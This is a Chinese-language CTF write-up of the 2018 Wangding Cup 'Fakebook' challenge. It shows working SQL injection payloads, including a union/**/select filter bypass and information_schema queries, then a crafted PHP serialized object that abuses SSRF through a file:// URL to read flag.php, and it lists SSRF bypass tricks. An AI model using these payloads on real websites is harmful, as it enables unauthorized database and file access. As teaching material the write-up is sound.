[网鼎杯 2018]Fakebook
[网鼎杯 2018]Fakebook
点击添加两条记录之后,任意点进去观察到
http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2
观察到no=2可能是sql注入的情况,之后and 1=1与and 1=2发现有注入点,
进行order by测试的时候发现当order by 为5的时候出现错误
http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2 order by 5--+
之后进行联合注入发现有过滤
之后进行测试发现过滤union select,可以使用union/**/select进行绕过
http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2 and 1=2 union/**/select 1,2,3,4--+
之后使用平常语句进行注入
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=
查列:select column_name from information_schema.columns where table_name=
查数据:select 列名 from 库名.表名(select concat_ws('-',username,password) from security.users limit 0,1)
发现有
1-root-0bcf4a53fcc542511eb41f30b5230f70deb88cde04f28386989122f457aaefd36677f9befcd57277d9ca2363d8758a403e905baf08bbf6c7f6ed707bc5a5fcc3-O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:12;s:4:"blog";s:7:"123.com";}
没有思路,进行目录扫描发现有robots.txt,打开链接发现有以下目录
打开发现有源码
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
_tostring():当把一个类当作字符串使用时就会自动调用该方法_invoke():当把一个类当作函数使用时,就会自动调用该方法_construct:创建一个新的类时,自动调用该方法_destruct:当一个类被销毁时自动调用该方法_sleep():当调用serialize()函数时调用
以下程序代码为接受一个url,之后把传递过来的url进行执行,并会输出源码
并且判断响应的状态是不是404.
function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}curl_init() //初始化一个curl会话curl_setopt() //为一个curl设置会话参数
ch:
由 curl_init() 返回的 cURL 句柄。
option:
需要设置的CURLOPT_XXX选项。
(CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。)
(CURLOPT_BINARYTRANSFER:在启用CURLOPT_RETURNTRANSFER的时候,返回原生的(Raw)输出。)
value:
将设置在option选项上的值
具体链接可以参考:https://www.runoob.com/php/php-ref-curl.html
使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本,然后分析一下你所抓取的网页,然后就可以以程序的方式得到你想要的数据了。执行以下代码会读取百度的网页,并把读取百度的源码输出到浏览器上,浏览器解析最终出现百度的页面。正因为如此,所以才会出现ssrf漏洞。
SRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统),。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。
<?php
// 创建一个新cURL资源$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.baidu.com");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
echo 'output'.$output;
//var_dump('output'.$output);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
//var_dump('httpCode',$httpCode);
echo 'httpCode',$httpCode;
if($httpCode == 404) {return 404;
}
curl_close($ch);
?>
http://b996c614-1897-4c97-a331-05d75922d627.node3.buuoj.cn/view.php?no=2
发现有源码(这里是参考了他人的博客)
通过源码发现存在SSRF漏洞,从我们爆出的字段data是序列化后的字符串
O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:12;s:4:"blog";s:7:"123.com";}
说明注册时会序列化我们的信息,回显到页面时再反序列化。
这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf,可以将序列化改为:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:56;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
因为data字段在第四位所以最终构成的payload的为:
之后右击查看源码:
进行bese64解码得到flag。
以上代码是我个人的理解,如果有不对的地方还请指出,互相学习。
[网鼎杯 2018]Fakebook相关推荐
- [网鼎杯2018]Unfinish
[网鼎杯2018]Unfinish 盲猜register界面 打开看什么都没有. 二次注入类题目 绕过方法: mysql中,+只能当做运算符. 执行select '1'+'1a'时 结果 执行 ...
- BUUCTF__[网鼎杯 2018]Fakebook_题解
前言 前天上午去报名了初中辅导老师,下午收到暑假可能可以回学校学习...真就尴尬.如果可以,回还是不回. 参加了2020年的网鼎杯,签到杯,神仙打架,萌新不配参加,下次一定. 读题 这题有点意思,虽然 ...
- BMZCTF 网鼎杯 2018 minified
使用stegsolve打开图片,不断点击箭头查看图像,在Red plane发现无图像,怀疑是零通道问题,然后无解哈哈哈. 查看大佬的wp,将alpha0,red0,green0,blue0分别保存为b ...
- BUU刷题记-网鼎杯专栏2
title: BUU刷题记_网鼎杯专栏2 date: 2001-07-16 18:30:26 tags: [addslashes().二次注入 漏洞,gbk编码导致的宽字节注入漏洞,.git文件泄露及 ...
- 【CTF WriteUp】网鼎杯 青龙组 Misc题解复现(整理,WP非原创)
(原本还打算四场Crypto全刷的,结果第四场被教做人了,算了整理点别的当补偿了) (另:求白虎组 Misc-boot 的 WP) Misc 虚幻2 图片在RGB信道各有一张图,提出来 R: G: B ...
- 2022网鼎杯青龙组wp
本次网鼎杯的Crypto部分其实还是比较简单的,解出的人数也较多.感觉405题略难一些,花了比较多的时间,恰巧最后几小时给出的162所用到的求解方式之前遇到过,有幸作为一个CTF新手把这次的比赛密码学 ...
- 网络安全的“奥运会”——第三届“网鼎杯”网络安全大赛即将开幕
乘风破浪潮头立,为国铸鼎正当时!以"数字未来,共同守护"为主题的2022年第三届"网鼎杯"网络安全大赛如约而至.大赛由公安部指导,"政产学研用&quo ...
- Elon为2020网鼎杯准备之“CTF初体验!”
为网鼎杯做准备的第一天 网鼎杯是网络安全领域的"奥林匹克",也是国内最大型高水平网络安全竞赛. 此次大赛将在5月展开所有的线上赛,并且将在6.19~6.21于广东省深圳市举行线下所 ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
最新文章
- Lync 手机客户端登录过程
- 嵌入式多媒体设计7--QDockWidget大小调整及隐藏标题
- 谷歌相册也不能无限白嫖了,「地主家」也烧不起免费网盘
- caddy php sock,Caddy环境下一些Web应用程序的配置参考
- 同一个电脑安装两个jdk版本
- 根据Explain结果中的key_len判断MySQL联合索引中实际用到的索引字段
- mysql数据开启远程登录,修改端口,开放防火墙端口
- 3月数据库排行:前10整体下行,出新技术了?
- Python 面向对象编程
- 安卓学习笔记02:测试安卓开发环境
- delphi 到出execl2010 文件损坏_如何修复Linux中损坏的软件包?
- 使用NPOI——C#和WEB API导出到Excel
- python怎么创建变量_创建一个新变量,它是python中另一个变量的...
- HTML5基础知识习题 一
- FPGA之JESD204B接口——总体概要 实例 中
- 2022新阅读:nmn有用吗?nmn注意事项有哪些?
- php模拟QQ登录获得skey码,PHP模拟QQ网页版授权登陆
- 7款英文语法检查工具推荐
- mysql登录其他电脑_如何连接另一台电脑的mysql数据库
- 使用软路由实现智能Qos